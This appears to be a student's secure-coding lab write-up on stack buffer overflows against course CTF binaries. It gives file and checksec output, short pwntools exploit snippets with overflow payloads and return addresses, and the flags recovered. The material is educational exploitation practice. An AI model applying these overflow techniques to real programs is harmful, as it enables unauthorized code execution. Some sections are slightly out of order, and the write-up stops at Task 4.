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Secure Coding

Lab 5

## Task 1

- Endianness:

```
ccrutter@cyber437:~/lab5/Task1$ file task1
task1: ELF 64-bit LSB pie executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, BuildID[sha1]-3e16b27168ac0fc6513f34b84d3c682b07cd4a02, for GNU/Linux 3.2.0, with debug_info, not stripped
```

- Checksec:

```
pwndbg> checksec
File:      /home/ccrutter/lab5/Task1/task1
Arch:      amd64
RELRO:     Full RELRO
Stack:     No canary found
NX:        NX enabled
PIE:       PIE enabled
SHSTK:     Enabled
IBT:       Enabled
Stripped:  No
Debuginfo: Yes
pwndbg>
```

Code to overflow:

```
from pwn import *

# Start program
io = process('./task1')
#io = remote('10.202.12.82', 11111)

# Send string to overflow buffer
io.sendlineafter(b':', b'AAAAAAAAAAAAA\0')

# Receive output
print(io.recvall().decode())
```

## Task 2

- Endianness

```
ccrutter@cyber437:~/lab5/Task2$ file task2
task2: ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), dynamically linked, interpreter /lib/ld-linux.so.2, BuildID[sha1]-29c4ad35942eb3928f678556b572c5607b604843, for GNU/Linux 3.2.0, not stripped
```

- checksec

```

ccrutter@cybr437:~/lab5/Task1$ python3 exploit.py
[+] Starting local process './task1': pid 131498
[+] Receiving all data: Done (63B)
[*] Process './task1' stopped with exit code 0 (pid 131498)

Revealing the secret message:
EWU{Overflowing_with_Secrets!}

```

Figure 1: Output for overflow Task 1

```

pwndbg> checksec
File:      /home/ccrutter/lab5/Task2/task2
Arch:      i386
RELRO:     Partial RELRO
Stack:     No canary found
NX:        NX unknown - GNU_STACK missing
PIE:       No PIE (0x8048000)
Stack:     Executable
RWX:       Has RWX segments
Stripped:  No
pwndbg>

```

```
io.sendlineafter(b':', b'A' * 25 + b'\x11\xfa\xad\xde')
```

```

ccrutter@cybr437:~/lab5/Task2$ python3 exploit.py
[+] Starting local process './task2': pid 136032
[+] Receiving all data: Done (105B)
[*] Process './task2' stopped with exit code 0 (pid 136032)
Launch code accepted!
Mission launched! Revealing mission details:
EWU{Galactic_Exploration_Commencing}

```

Figure 2: Successful Overflow

### Task 3

- Endianness

```

ccrutter@cybr437:~/lab5/Task3$ file task3
task3: ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), dynamically linked, interpreter /lib/ld-linux.so.2, BuildID[sha1]=429f318af846adda048a3a8c2496a320d4949ac3, for GNU/Linux 3.2.0, not stripped

```

- Checksec

```
pwndbg> checksec
File:      /home/ccrutter/lab5/Task3/task3
Arch:      i386
RELRO:     Partial RELRO
Stack:     No canary found
NX:        NX unknown - GNU_STACK missing
PIE:       No PIE (0x8048000)
Stack:     Executable
RWX:       Has RWX segments
Stripped:  No
pwndbg> 
```

```
io.sendlineafter(b':', b'A' * 32 + b'\xc6\x91\x04\x08')
```

```
ccrutter@cybr437:~/lab5/Task3$ python3 exploit.py
[+] Starting local process './task3': pid 136932
[+] Receiving all data: Done (205B)
[*] Process './task3' stopped with exit code -11 (SIGSEGV) (pid 136932)

Welcome, AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAF\x0! Let's see if you've found anything...
You've successfully uncovered the Ancient Artifact of Code! Its secrets are now yours
:
EWU{Unearthed_Ancient_S3crets!}
```

Figure 3: Successful Overflow

#### Task 4

- Endianness

```
ccrutter@cybr437:~/lab5/Task4$ file task4
task4: ELF 32-bit LSB executable, Intel 80386, version 1
(SYSV), dynamically linked, interpreter /lib/ld-linux.so
2, BuildID[sha1]=9127d45162f091d4dd45a89c51ba23017589fa6
, for GNU/Linux 3.2.0, not stripped
```

- checksec

```
pwndbg> checksec
File:      /home/ccrutter/lab5/Task4/task4
Arch:      i386
RELRO:     Partial RELRO
Stack:     No canary found
NX:        NX unknown - GNU_STACK missing
PIE:       No PIE (0x8048000)
Stack:     Executable
RWX:       Has RWX segments
Stripped:  No
pwndbg> 
```